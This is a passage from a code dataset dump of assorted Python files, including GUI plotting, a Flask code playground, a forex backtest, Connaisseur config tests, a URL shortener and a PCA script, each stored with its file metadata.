start=end\n end=sum\n person-=sum\n day+=1\n print(day)","sub_path":"spread the word.py","file_name":"spread the word.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"413753558","text":"import math\n\nfrom PySide import QtCore, QtGui\n\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt4agg import NavigationToolbar2QT as NavigationToolbar\nfrom matplotlib.backend_bases import key_press_handler\n\nclass MyFigure(Figure, QtCore.QThread):\n def __init__(self, parent, *args, **kwargs):\n QtCore.QThread.__init__(self, parent)\n Figure.__init__(self, *args, **kwargs)\n\n self.plot_data = list()\n self.figures = list()\n\n def start_plotting_thread(self, plot_data, on_finish=None):\n \"\"\" Start plotting \"\"\"\n self.plot_data = plot_data\n if len(self.figures) == 0:\n self.setup_subplot()\n \n\n\n if on_finish is not None:\n self.finished.connect(on_finish)\n\n self.start()\n\n def setup_subplot(self):\n \"\"\" Run as a thread \"\"\"\n # Figure out rows and columns\n total_plots = len(self.plot_data)\n\n columns = int(math.sqrt(total_plots))\n if columns < 1:\n columns = 1\n\n rows = int(total_plots / columns)\n if (total_plots % columns) > 0:\n rows += 1\n if rows < 1:\n rows = 1\n\n # Plot Data\n for plot_index, _plot_data in enumerate(self.plot_data):\n plot_number = plot_index + 1\n args = (rows, columns, plot_number)\n kwargs = {\n 'title': _plot_data['title'],\n 'xlabel': _plot_data['xlabel'],\n 'ylabel': _plot_data['ylabel']\n }\n\n figure = self.add_subplot(*args, **kwargs)\n\n figure.plot(_plot_data['x'], _plot_data['y'], '.b')\n\n self.figures.append(figure)\n\n self.subplots_adjust(hspace=0.5, wspace=0.4) \n\n def run(self):\n for i, pd in enumerate(self.plot_data):\n self.figures[i].plot(pd['x'], pd['y'], '.b')\n\n\n\nclass PlotDialog(QtGui.QDialog):\n def __init__(self, parent):\n \n QtGui.QDialog.__init__(self, parent, QtCore.Qt.WindowMinMaxButtonsHint | QtCore.Qt.WindowCloseButtonHint)\n\n self.figure = MyFigure(self)\n self.canvas = FigureCanvas(self.figure)\n self.toolbar = NavigationToolbar(self.canvas, self)\n\n self.layout = QtGui.QGridLayout()\n self.setLayout(self.layout)\n\n layout = [\n [self.toolbar],\n [self.canvas], \n ]\n\n for row_index, columns in enumerate(layout):\n if type(columns) is list:\n for column_index, widget in enumerate(columns):\n if widget is not None:\n self.layout.addWidget(widget, row_index, column_index)\n\n self.canvas.mpl_connect('key_press_event', lambda event:key_press_handler(event, self.canvas, self.toolbar))\n\n def draw_plots(self, plot_data):\n \"\"\" Plot Plots \"\"\"\n self.figure.start_plotting_thread(plot_data, on_finish=self.finish_drawing_plots)\n\n def finish_drawing_plots(self):\n \"\"\" Finish drawing plots \"\"\"\n self.canvas.draw()\n self.show()\n\nimport sys\nif __name__ == \"__main__\":\n qApp = QtGui.QApplication(sys.argv)\n w = QtGui.QWidget()\n p = PlotDialog(w)\n p.draw_plots([{'title': 'Port 0',\n 'xlabel': 't(s)',\n 'ylabel': 'Pressure(Pa)',\n 'x' : [1,2],\n 'y' : [1,2]},\n {'title': 'Port 1',\n 'xlabel': 't(s)',\n 'ylabel': 'Pressure(Pa)',\n 'x' : [1,2],\n 'y' : [1,2]},\n {'title': 'Port 2',\n 'xlabel': 't(s)',\n 'ylabel': 'Pressure(Pa)',\n 'x' : [1,2],\n 'y' : [1,2]},\n {'title': 'Port 3',\n 'xlabel': 't(s)',\n 'ylabel': 'Pressure(Pa)',\n 'x' : [1,2],\n 'y' : [1,2]},\n {'title': 'Port 0',\n 'xlabel': 't(s)',\n 'ylabel': 'Pressure(Pa)',\n 'x' : [1,2],\n 'y' : [1,2]},\n ])\n w.setWindowTitle('Scanner...')\n sys.exit(qApp.exec_())\n\n \n","sub_path":"more_plot.py","file_name":"more_plot.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"198136910","text":"import wx\nfrom Components.SettingsHelpers import *\n\nclass OverviewValsPanel(wx.Panel):\n def __init__(self,parent, stats, streamname):\n super(OverviewValsPanel, self).__init__(parent)\n\n self.tablewidth = 360\n\n sb = wx.StaticBox(self, label=streamname)\n sbs = wx.StaticBoxSizer(sb, orient=wx.VERTICAL) \n self.list = wx.ListCtrl(self, -1, style=wx.LC_REPORT,size=(self.tablewidth+30,100))\n self.list.InsertColumn(0,\"Stat\");\n self.list.SetColumnWidth(0,self.tablewidth/2)\n self.list.InsertColumn(1,\"Value\");\n self.list.SetColumnWidth(1,self.tablewidth/2)\n \n\n idCounter = 0\n\n for k,v in stats.items():\n self.list.InsertStringItem(idCounter, k)\n self.list.SetStringItem(idCounter, 1, str(v))\n idCounter+=1\n\n sbs.Add(self.list,flag=wx.EXPAND)\n self.SetSizer(sbs)\n\n\n\n\n\n","sub_path":"Vicarious/Vicarious/Application/Components/Dialogs/OverviewValsPanel.py","file_name":"OverviewValsPanel.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"45232022","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 22 15:26:15 2020\n\n@author: Mathew\n\"\"\"\nfname =''\ndata = {}\nf = open('fname','r')\nlines = f.readlines()\nf.close()\n\n\nfor line in lines:\n cs = line.split(',')\n data[cs[0]] = cs[1:]","sub_path":"csv.py","file_name":"csv.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"498045140","text":"import typing\nimport pyecore.ecore as Ecore\nfrom functools import lru_cache, wraps\nfrom pyecore.notification import EObserver\n\n\nclass ResultObserver(EObserver):\n def notifyChanged(self, notif):\n print(notif)\n\n\nclass EObjectProxy(object):\n def __init__(self, instance):\n object.__setattr__(self, 'wrapped', instance)\n object.__setattr__(self, 'wrapped_eClass', instance.eClass)\n\n def __getattribute__(self, name):\n wrapped = object.__getattribute__(self, 'wrapped')\n eClass = object.__getattribute__(self, 'wrapped_eClass')\n result = getattr(wrapped, name)\n if eClass.findEStructuralFeature(name):\n print('access', name, ':', result, 'for', wrapped)\n return result\n\n def __setattr__(self, name, value):\n wrapped = object.__getattribute__(self, 'wrapped')\n if isinstance(value, EObjectProxy):\n value = object.__getattribute__(value, 'wrapped')\n return setattr(wrapped, name, value)\n\n def __str__(self):\n wrapped = object.__getattribute__(self, 'wrapped')\n return wrapped.__str__()\n\n\ndef mapping(f):\n f.__mapping__ = True\n result_var_name = 'result'\n f.self_eclass = typing.get_type_hints(f).get('self')\n if f.self_eclass is None:\n raise ValueError(\"Missing 'self' parameter for mapping: '{}'\"\n .format(f.__name__))\n f.result_eclass = typing.get_type_hints(f).get('return')\n\n @wraps(f)\n def inner(*args, **kwargs):\n if f.result_eclass is None:\n index = f.__code__.co_varnames.index('self')\n result = kwargs.get('self', args[index])\n elif f.result_eclass is Ecore.EClass:\n result = f.result_eclass('TMP')\n else:\n result = f.result_eclass()\n inputs = [a for a in args if isinstance(a, Ecore.EObject)]\n print('CREATE', result, 'FROM', inputs, 'BY', f.__name__)\n g = f.__globals__\n marker = object()\n oldvalue = g.get(result_var_name, marker)\n g[result_var_name] = result\n observer = ResultObserver(notifier=result)\n new_args = [EObjectProxy(obj)\n if isinstance(obj, Ecore.EObject)\n else obj\n for obj in args]\n for key, value in kwargs:\n if isinstance(value, Ecore.EObject):\n kwargs[key] = EObjectProxy(obj)\n try:\n f(*new_args, **kwargs)\n finally:\n if oldvalue is marker:\n del g[result_var_name]\n else:\n g[result_var_name] = oldvalue\n result.listeners.remove(observer)\n return result\n return lru_cache()(inner)\n\n\nclass when(object):\n def __init__(self, condition):\n self.condition = condition\n\n def __call__(self, f):\n @wraps(f)\n def inner(*args, **kwargs):\n if self.condition(*args, **kwargs):\n return f(*args, **kwargs)\n return inner\n\n\nclass disjunct(object):\n def __init__(self, *args):\n self.list = args\n\n def __call__(self, f):\n @wraps(f)\n def inner(*args, **kwargs):\n for fun in self.list:\n result = fun(*args, **kwargs)\n if result is not None:\n break\n f(*args, **kwargs)\n return result\n return inner\n\n\nclass mapping_when(object):\n def __init__(self, condition):\n self.condition = condition\n\n def __call__(self, f):\n @wraps(f)\n @when(self.condition)\n @mapping\n def inner(*args, **kwargs):\n return f(*args, **kwargs)\n return inner\n","sub_path":"experimental/m2m/m2mlib.py","file_name":"m2mlib.py","file_ext":"py","file_size_in_byte":3653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"12819400","text":"from django.urls import path, include\nfrom .views import DepartamentoList,\\\n DepartamentoCreate, DepartamentoUpdate, \\\n DepartamentoDelete\n\nurlpatterns = [\n\n path('list/', DepartamentoList.as_view(), name='list_departamentos'),\n path('create/', DepartamentoCreate.as_view(), name='create_departamentos'),\n path('update//', DepartamentoUpdate.as_view(), name='update_departamentos'),\n path('delete//', DepartamentoDelete.as_view(), name='delete_departamentos'),\n\n\n]","sub_path":"apps/departamentos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"255214264","text":"#!/usr/bin/python3\n#Author:pliu\n\n# class Solution:\n# def findCircleNum(self, M):\n# p = [i for i in range(len(M))]\n# def find(x):\n# if p[x] != x:\n# p[x] = find(p[x])\n# return p[x]\n#\n# for i in range(len(M)):\n# for j in range(len(M)):\n# if M[i][j] == 1:\n# a = find(i) ## 这里就是merge操作,重新写一个函数太麻烦了\n# b = find(j)\n# p[a] = b ## 直接修改数组中的根节点\n#\n# for i in range(len(M)): ## 需要多这一步,将所有的点都回归其根节点,然后在判断根的数量有多少\n# find(i)\n# return len(set(p))\n# class Solution:\n# def findCircleNum(self, M):\n# N = len(M)\n# count = 0\n# visited = set()\n#\n# def dfs(i):\n# for j in range(N):\n# if M[i][j] and j not in visited:\n# visited.add(j)\n# dfs(j)\n#\n# for i in range(N):\n# if i not in visited:\n# count += 1\n# visited.add(i)\n# dfs(i)\n#\n# return count\nclass Solution:\n def findCircleNum(self, M):\n f = {}\n s = {}\n count = len(M)\n\n def find(x):\n f.setdefault(x, x)\n # 路径压缩\n if x != f[x]:\n f[x] = find(f[x])\n return f[x]\n\n def union(x, y):\n nonlocal count\n x_father, y_father = find(x), find(y)\n if x_father == y_father: return\n # 将小树的根节点连接到大叔的根节点\n if s.setdefault(x_father, 1) < s.setdefault(y_father, 1):\n f[x_father] = y_father\n s[y_father] += s[x_father]\n else:\n f[y_father] = x_father\n s[x_father] += s[y_father]\n count -= 1\n\n for i in range(len(M)):\n for j in range(i + 1, len(M)):\n if M[i][j] == 1:\n union(i, j)\n return count\n\n\nif __name__ == '__main__':\n M= [[1,1,0],[1,1,0],[0,0,1]]\n print(Solution().findCircleNum(M))","sub_path":"Week07/朋友圈.py","file_name":"朋友圈.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"368456927","text":"from flask import Flask, render_template, request\nfrom app import app, db\nfrom models import CodePlayGround\nfrom hashids import Hashids\n\nhashids = Hashids(salt=app.config['HASH_SALT'])\n\n@app.route('/')\n@app.route('/index')\ndef index():\n\treturn render_template('home/index.html')\n\n@app.route('/run', methods=['GET','POST'])\ndef run():\n\tif request.method == 'GET':\n\t\treturn render_template('run/nocode.message.html')\n\telse:\n\t\thtml = request.form['html']\n\t\tcss = request.form['css']\n\t\tjs = request.form['js']\n\n\t\tcode = {\n\t\t\t'html':html,\n\t\t\t'css':css,\n\t\t\t'js':js\n\t\t}\n\n\t\treturn render_template('run/preview.html', code=code)\n\n@app.route('/save', methods=['POST'])\ndef save():\n\thtml = request.form['html']\n\tcss = request.form['css']\n\tjs = request.form['js']\n\n\tcpg = CodePlayGround(html=html, css=css, js=js)\n\n\tdb.session.add(cpg)\n\tdb.session.commit()\n\n\tid = cpg.id\n\n\treturn hashids.encode(id)\n\n@app.route('/update', methods=['PUT'])\ndef update():\n\treturn ''\n\n@app.route('/fork', methods=['POST'])\ndef fork():\n\treturn ''\n\n@app.route('/cpg/')\n@app.route('/')\ndef get_playground(hashed_id):\n\tid = hashids.decode(hashed_id)\n\n\tcpg = CodePlayGround.query.get(id)\n\n\tif cpg:\n\t\tcode = {\n\t\t\t'html': cpg.html,\n\t\t\t'css': cpg.css,\n\t\t\t'js': cpg.js\n\t\t}\n\t\n\t\treturn render_template('home/index.html', code=code)\n\telse:\n\t\tabort(404)\n\n@app.errorhandler(404)\ndef page_not_found(error=None):\n\tmessage = {\n\t\t'status' : 404,\n\t\t'text' : 'Not Found: ' + request.url\n\t}\n\n#\tif request.is_xhr:\n\t\t\n#\telse:\n\treturn render_template('error.html', message=message)","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"40744084","text":"\"\"\"Mulholland setup module\"\"\"\n\n# To use a consistent encoding\nfrom codecs import open\nfrom os import path\n\n# Always prefer setuptools over distutils\nfrom setuptools import find_packages, setup\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='mulholland',\n version='0.0.1',\n description='Automatic Video Library Manager for TV Shows',\n long_description=long_description,\n\n # The project's main homepage.\n url='https://github.com/Alzakath/mulholland',\n\n # Author details\n author='Alzakath',\n author_email='herve.coatanhay@gmail.com',\n\n # Choose your license\n license='MIT',\n\n # See https://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: End Users/Desktop',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3.5',\n ],\n\n # What does your project relate to?\n keywords='video tv shows',\n packages=find_packages(exclude=['contrib', 'docs', 'tests']),\n install_requires=['gevent', 'pyzmq', 'webob'],\n\n # To provide executable scripts, use entry points in preference to the\n # \"scripts\" keyword. Entry points provide cross-platform support and allow\n # pip to create the appropriate form of executable for the target platform.\n entry_points={\n 'console_scripts': [\n 'mulholland=mulholland:main'\n ],\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"328931419","text":"import pytest\nfrom . import conftest as fix\nimport connaisseur.config as co\nimport connaisseur.exceptions as exc\nimport connaisseur.validators as vals\nfrom connaisseur.image import Image\n\n\n@pytest.fixture(autouse=True)\ndef mock_config_path(monkeypatch):\n def m_safe_path_func(callback: callable, base_dir: str, path: str, *args, **kwargs):\n return callback(path, *args, **kwargs)\n\n monkeypatch.setattr(co, \"safe_path_func\", m_safe_path_func)\n\n co.Config._Config__PATH = \"tests/data/config/sample_config.yaml\"\n co.Config._Config__SECRETS_PATH = \"tests/data/config/sample_secrets.yaml\"\n co.Config._Config__EXTERNAL_PATH = \"tests/data/config/\"\n co.Config._Config__SCHEMA_PATH = \"connaisseur/res/config_schema.json\"\n\n\nnv1 = vals.notaryv1.notaryv1_validator.NotaryV1Validator\nstatic = vals.static.static_validator.StaticValidator\ncosign = vals.cosign.cosign_validator.CosignValidator\nstatic_config = {\n \"validators\": [\n {\n \"name\": \"default\",\n \"type\": nv1,\n },\n {\n \"name\": \"harbor\",\n \"type\": nv1,\n },\n {\"name\": \"allow\", \"type\": static},\n {\"name\": \"deny\", \"type\": static},\n {\"name\": \"cosign-example\", \"type\": cosign},\n {\"name\": \"ext\", \"type\": nv1},\n ],\n \"policy\": [\n {\"pattern\": \"*:*\", \"with\": {\"delegations\": [\"phbelitz\", \"chamsen\"]}},\n {\n \"pattern\": \"docker.io/*:*\",\n \"validator\": \"dockerhub\",\n \"with\": {\"delegations\": [\"phbelitz\"]},\n },\n {\"pattern\": \"k8s.gcr.io/*:*\", \"validator\": \"allow\"},\n {\"pattern\": \"gcr.io/*:*\", \"validator\": \"allow\"},\n {\n \"pattern\": \"docker.io/securesystemsengineering/*:*\",\n \"validator\": \"dockerhub\",\n \"with\": {\"delegations\": [\"someuserthatdidnotsign\"]},\n },\n {\n \"pattern\": \"docker.io/securesystemsengineering/sample\",\n \"validator\": \"dockerhub\",\n \"with\": {\"delegations\": [\"phbelitz\", \"chamsen\"]},\n },\n {\n \"pattern\": \"docker.io/securesystemsengineering/sample:v4\",\n \"validator\": \"allow\",\n },\n {\n \"pattern\": \"docker.io/securesystemsengineering/connaisseur:*\",\n \"validator\": \"allow\",\n },\n {\n \"pattern\": \"docker.io/securesystemsengineering/sample-san-sama\",\n \"validator\": \"allow\",\n },\n {\n \"pattern\": \"docker.io/securesystemsengineering/alice-image\",\n \"validator\": \"dockerhub\",\n },\n ],\n}\nmatch_image_tag = \"docker.io/securesystemsengineering/sample:v1\"\nmatch_image_digest = (\n \"docker.io/securesystemsengineering/sample@sha256:\"\n \"1388abc7a12532836c3a81bdb0087409b15208f5aeba7a87aedcfd56d637c145\"\n)\n\n\n@pytest.mark.parametrize(\n \"config_path, exception\",\n [\n (\"sample_config\", fix.no_exc()),\n (\"err\", pytest.raises(FileNotFoundError)),\n (\"err1\", pytest.raises(exc.NotFoundException)),\n (\n \"err2\",\n pytest.raises(\n exc.InvalidConfigurationFormatError, match=r\".*invalid format.*\"\n ),\n ),\n (\n \"err3\",\n pytest.raises(exc.InvalidConfigurationFormatError, match=r\".*validator.*\"),\n ),\n (\n \"err4\",\n pytest.raises(exc.InvalidConfigurationFormatError, match=r\".*roots.*\"),\n ),\n (\n \"err5\",\n pytest.raises(\n exc.InvalidConfigurationFormatError, match=r\".*invalid format.*\"\n ),\n ),\n ],\n)\ndef test_config(config_path, exception):\n co.Config._Config__PATH = f\"tests/data/config/{config_path}.yaml\"\n with exception:\n config = co.Config()\n assert len(config.validators) == len(static_config[\"validators\"])\n assert len(config.policy) == len(static_config[\"policy\"])\n for index, validator in enumerate(config.validators):\n assert validator.name == static_config[\"validators\"][index][\"name\"]\n assert isinstance(validator, static_config[\"validators\"][index][\"type\"])\n for index, rule in enumerate(config.policy):\n assert rule[\"pattern\"] == static_config[\"policy\"][index][\"pattern\"]\n\n\n@pytest.mark.parametrize(\n \"key_name, name, exception\",\n [\n (\"default\", \"default\", fix.no_exc()),\n (\"harbor\", \"harbor\", fix.no_exc()),\n (None, \"default\", fix.no_exc()),\n (\"harborr\", \"\", pytest.raises(exc.NotFoundException)),\n ],\n)\ndef test_get_notary(key_name, name, exception):\n config = co.Config()\n with exception:\n assert config.get_validator(key_name).name == name\n\n\n@pytest.mark.parametrize(\n \"rule, image, comp_count, comp_len, pre_len\",\n [\n (\"\", \"\", 1, [2], [0]),\n (\"*:*\", match_image_tag, 1, [3], [0]),\n (\"doc*/*\", match_image_tag, 2, [4, 3], [3, 0]),\n (\"*/sec*/*:*\", match_image_tag, 3, [1, 4, 3], [0, 3, 0]),\n (\"*@sha256:*\", match_image_digest, 1, [10], [0]),\n ],\n)\ndef test_match(rule: str, image: str, comp_count: int, comp_len: list, pre_len: list):\n match = co.Match(rule, image)\n rule_with_tag = rule if \":\" in rule else f\"{rule}:*\"\n assert match.key == rule\n assert match.pattern == rule_with_tag\n assert match.component_count == comp_count\n assert match.component_lengths == comp_len\n assert match.prefix_lengths == pre_len\n\n\n@pytest.mark.parametrize(\"rule, exist\", [(\"\", False), (\"*\", True)])\ndef test_match_bool(rule: str, exist: bool):\n match = co.Match(rule, \"image\")\n assert bool(match) == exist\n\n\n@pytest.mark.parametrize(\n \"rule1, rule2, image\",\n [\n (\"\", \"*\", match_image_tag),\n (\"*\", \"*:*\", match_image_tag),\n (\"*:*\", \"*/*\", match_image_tag),\n (\"*/*\", \"docker*/*\", match_image_tag),\n (\"docker*/*\", \"*/*/*\", match_image_tag),\n (\"*/*/image:v1\", \"*/sam*/*\", match_image_tag),\n ],\n)\ndef test_match_compare(rule1: str, rule2: str, image: str):\n m1 = co.Match(rule1, image)\n m2 = co.Match(rule2, image)\n fighters = [m1, m2]\n assert m1.compare(m2) == fighters[1]\n\n\n@pytest.mark.parametrize(\n \"image, rule\",\n [\n (\"image:tag\", \"docker.io/*:*\"),\n (\"reg.io/image:tag\", \"*:*\"),\n (\"k8s.gcr.io/path/image\", \"k8s.gcr.io/*:*\"),\n (\n \"docker.io/securesystemsengineering/sample:v4\",\n \"docker.io/securesystemsengineering/sample:v4\",\n ),\n ],\n)\ndef test_get_policy_rule(image: str, rule):\n c = co.Config()\n assert str(c.get_policy_rule(Image(image))) == rule\n\n\ndef test_get_matching_rule_error():\n with pytest.raises(exc.NoMatchingPolicyRuleError):\n c = co.Config()\n c.policy = c.policy[1:]\n assert c.get_policy_rule(Image(\"reg.io/image\"))\n","sub_path":"tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":6752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"206689504","text":"# Tuples -- Sequence of elments separed with comma which are declared inside ( )...\n\n# a=(1,2,3,4)\n\n# print(type(a))\n\n# a=1,2,3,4\n\n# print(type(a))\n\n# a=(1)\n# print(type(a))\n\n# a=1\n# print(type(a))\n\n# a=(1,) # single value tuple\n\n# Tuples are immutable.. (we cannot make changes).\n\na=(1,11,54,'datascience','devops','cricket',[23,24,25])\n\n\n# accessing elments inside the tuple..(indexing)\n\n\n# print(a[4])\n\n# print(a[1:6])\n\n# print(a[0:7:2]) # slicing\n\n# print(a[-2])\n\n# a[1]=23\n\n# del a[1]\n\n# Basic Operations:-\n\n\t# concatenation(+):- Adding 2 or more tuples..\n\t# repetition(*):- Repeating same tuple elements multiple times..\n\n\n# print((1,2,3)+(4,5,6))\n\n# print((3,4,5)*3)\n\n\na=(3,4,59,1,2,0,7,3,6,1,6,2,3,7)\n\n# print(a.count(3))\n# print(a.index(7))\n\n# print(len(a))\n\nrange(0,21)\nb=()\nc=()\n\nprint(b) #(0,2,4,6,8,10,12,14,16,18,20)\nprint(c) #(1,3,5,7,9,11,13,15,17,19)\n\n","sub_path":"tuples.py","file_name":"tuples.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"395688895","text":"import string \nimport random\ndef urlshort(s):\n x = \"cp.li\"\n z = \".w\"\n res = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(5))\n x = x+res+z\n return(x)\nurl = {}\nn = int(input(\"Total Number of URLs you want to short : \"))\nwhile(n):\n s = input(\"Enter your Url : \")\n try:\n x = url[s]\n except:\n x = urlshort(s)\n url[s] = x\n print(x)\n n-=1\n ","sub_path":"URLshortner.py/divyanshsikarwar.py","file_name":"divyanshsikarwar.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"476753677","text":"import argparse\n\nfrom util import *\nfrom technical_indicators import *\n\n\n# parse start_date and end_date from input\n\nparser = argparse.ArgumentParser(\n description='Forex trading naive strategy implementation')\nparser.add_argument('--start_date', nargs='?', help='backtesting start date', default='2017-01-01')\nparser.add_argument('--end_date', nargs='?', help='backtesting end date', default='2017-04-01')\n\nargs = parser.parse_args()\n\nstart_date = args.start_date # backtesting start date\nend_date = args.end_date # backtesting end date\n\n# set some constants\n\ninstrument = \"EURUSD\" # currency pair\ngranularity = '1D' # data granularity\n\n# economical constants\n\nbudget = 100000 # total budget\npip = 0.00001 # pip value\ntrade = 1*pip # each trade value\ntakeProfit = 500*pip # take profit value\nstopLoss = 250*pip # stop loss value\nparams = [budget, pip, trade,\n takeProfit, stopLoss] # array with all economical constants\n\n# download and load data\n\ndata, _ = get_tick_data(instrument, start_date, end_date, granularity)\nif not _:\n get_tick_to_granularity(instrument, start_date, end_date, granularity)\n data, _ = get_tick_data(instrument, start_date, end_date, granularity)\n\n# add new columns to data dataframe with bid and ask averages\n\n# calculate averages #\n\nlow = (data['lowAsk']+data['lowBid'])/2\nhigh = (data['highAsk']+data['highBid'])/2\nclose = (data['closeAsk']+data['closeBid'])/2\nopen = (data['openAsk']+data['openBid'])/2\n\n# add new columns to dataframe #\n\ndata['low'] = low\ndata['high'] = high\ndata['close'] = close\ndata['open'] = open\n\n# indicators\n\nsmma_low = moving_average(data, 4, 'low') # moving averages\nsmma_high = moving_average(data, 10, 'high') #\n\natr = average_true_range(data, 5, 'high', 'low', 'close') # average true range\n\nmacd = macd(data, 5, 31, 'close')[0] # moving average convergence divergence\n\nUpper, Lower = bollinger_bands(data, 16, 'close') # bollinger bands\n\nk = stochastic_oscillator_k(data, 'high', 'low', 'close') # stochastic oscilators\nd = stochastic_oscillator_d(data, 3, 'high', 'low', 'close')\n\n# buying and selling conditions\n\n# long conditions #\n\nenter_long = ((crossover(k, d)) & (Upper >= Upper.shift(1))\n & (Lower >= Lower.shift(1)) & (atr > (atr.shift(1) + 0.0001)))\n\nsell_long = crossunder(close, smma_low)\n\n# short conditions #\n\nenter_short = ((crossover(d, k)) & (Upper <= Upper.shift(1))\n & (Lower <= Lower.shift(1)) & (atr > (atr.shift(1) + 0.0001)))\n\nsell_short = crossunder(close, smma_high)\n\n# calculates trades and profit\n\nlong_trades, short_trades = get_trades([enter_long, sell_long, enter_short, sell_short], data, params)\n\ntrades_profit = get_trades_profit([long_trades, short_trades], data)\n\n# print all trades\n\nfor trade in trades_profit:\n print(trade)\n","sub_path":"scripts/strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"557969054","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[2]:\n\n\n#-------------------------------------------------------------------------------------------------------------------------------\n# By Alexandra Lee (July 2018) \n#\n# Apply PCA or ICA to compress Pseudomonas gene expression data (from ArrayExpress) and \n# visualize expression data projected onto first two reduced dimensions\n# \n# Input: Pa gene expression data from ArrayExpress (matrix: sample x gene)\n# Data compression method: PCA or ICA\n# Output: Reduced Pa gene expressiond ata (matrix: sample x 2 linear combination of genes)\n#-------------------------------------------------------------------------------------------------------------------------------\nimport os\nfrom sklearn.decomposition import PCA, FastICA\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nnp.random.seed(123)\n\n\n# In[3]:\n\n\n# load arguments\ndata_file = os.path.join(os.path.dirname(os.getcwd()), \"data\", \"all-pseudomonas-gene-normalized.pcl\")\nmap_file = os.path.join(os.path.dirname(os.getcwd()), \"metadata\", \"mapping_sampleID_medium.txt\")\ncomponent_num = 2\n\n# specify either 'ica' or 'pca'\nmethod = 'pca' \n\n\n# In[4]:\n\n\n# read in data\ndata = pd.read_table(data_file, header=0, sep='\\t', index_col=0)\nX = data.transpose()\nX.head(5)\n#X.shape\n\n\n# In[ ]:\n\n\n# PCA\nif method == 'pca':\n reduced = PCA(n_components=component_num)\n reduced_X = reduced.fit_transform(X)\n# ICA\nelse:\n reduced = FastICA(n_components=component_num)\n reduced_X = reduced.fit_transform(X)\n\n\n# In[ ]:\n\n\n# Map sample id to clinial phenotype (i.e. experimental condition)\n\n# Note:\n# According to the source (https://github.com/scikit-learn/scikit-learn/blob/14031f6/sklearn/decomposition/pca.py#L310),\n# input will be transformed by np.array() before doing PCA. So row index will be lost during \n# PCA.fit_transform(X) even using a structured array or a pandas DataFrame. However, the order of the data is preserved, \n# meaning you can attach the index back afterward\n\nX_ann = pd.DataFrame(reduced_X, index=X.index, columns=['1', '2'])\n\n# read in mapping file (sample id --> phenotype)\nmapper = pd.read_table(map_file, header=0, sep='\\t', index_col=0)\n\n# Join \nX_new = pd.merge(X_ann, mapper, left_index=True, right_index=True)\nX_new.head(10)\n#X_new.shape\n\n\n# In[ ]:\n\n\n# Plot\nfg = sns.lmplot(x='1', y='2', data=X_new, hue='medium', fit_reg=False)\nfg.add_legend()\nfig_file = os.path.join(os.path.dirname(os.getcwd()), \"viz\",\"{}.png\".format(method))\nfg.fig.suptitle(method.upper()+' compressed data')\nfg.savefig(fig_file)\n\n\n# In[ ]:\n\n\n# Output compressed data\nfile_out = os.path.join(os.path.dirname(os.getcwd()), \"encoded\",\"{}_encoded.txt\".format(method))\nX_new.to_csv(file_out, sep='\\t')\n\n","sub_path":"exploration/scripts/nbconverted/PCA_ICA_model.py","file_name":"PCA_ICA_model.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"603664562","text":"import math\nfrom django.contrib.sites.models import Site, get_current_site\nfrom django.contrib.sitemaps import Sitemap\nfrom django.contrib.sitemaps import GenericSitemap\nfrom django.views.decorators.cache import cache_page\n\nfrom urllib2 import *\nimport simplejson\nimport json\nimport urllib\nfrom django.conf import settings\nimport datetime\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import activate\nfrom string import Template\n\n\n# custom sitemap class\n\n\n\nclass RunAppMap(GenericSitemap):\n \"\"\"\n Skeleton class to generate sitemaps based on data from a Solr index.\n\n This sitemap is \"lazy\" compared to Django's built-in Sitemap, in that\n it does not fetch the data needed to compute all the URLs at once.\n Instead of using Django's built-in pagination, we delegate pagination\n operations to Solr itself using its `start` and `rows` parameters.\n \n \"\"\"\n #limit = 5000 #http://stackoverflow.com/questions/2079786/caching-sitemaps-in-django\n def __init__(self, 